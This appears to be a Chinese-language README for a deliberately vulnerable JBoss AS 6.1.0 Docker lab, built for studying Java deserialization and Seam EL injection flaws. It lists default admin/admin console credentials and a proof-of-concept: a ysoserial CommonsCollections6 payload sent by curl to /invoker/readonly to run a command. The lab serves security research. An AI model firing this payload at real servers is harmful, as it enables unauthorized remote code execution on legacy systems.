许多关键行业(银行业、医疗保健和制造业)仍然依赖专为 JBoss 5 或 6 运行而构建的遗留中间件。由于这些应用程序往往过于脆弱,无法迁移到 WildFly(JBoss 的继任者)的现代版本,组织选择将其"物理隔离"(air-gap)或隐藏在 VPN 之后,而不是对它们进行修补。当这些边界防御失效时,漏洞仍然存在——活跃且未修补。
本仓库提供了一个容器化的 JBoss Application Server 6.1.0 环境,专门为安全研究和漏洞验证而配置。其设计目的是演示 Java 反序列化和 JBoss Seam EL 注入漏洞。
为确保自定义凭据和配置正确生效,请从头构建容器:
docker-compose build --no-cache
docker-compose up -d
JBoss 控制台: http://localhost:8080/admin-console/
用户名: admin
密码: admin
已验证的漏洞
在此环境中,最可靠的漏洞利用路径是通过位于 /invoker/readonly 的 HTTPServerILServlet。
验证步骤:
使用 ysoserial 生成一个载荷,以在 /tmp 中创建文件:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
通过 curl 发送二进制载荷:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
确认漏洞利用是否成功:
docker exec -it jboss-custom-lab ls /tmp/pwned
安全免责声明 此环境故意带有漏洞。它包含未修补的、生命周期已结束(EOL)的软件。
请勿将此环境部署在面向公网的服务器上。
请勿将这些工具用于未经明确许可进行测试的系统上。
本项目仅用于教育目的和安全研究。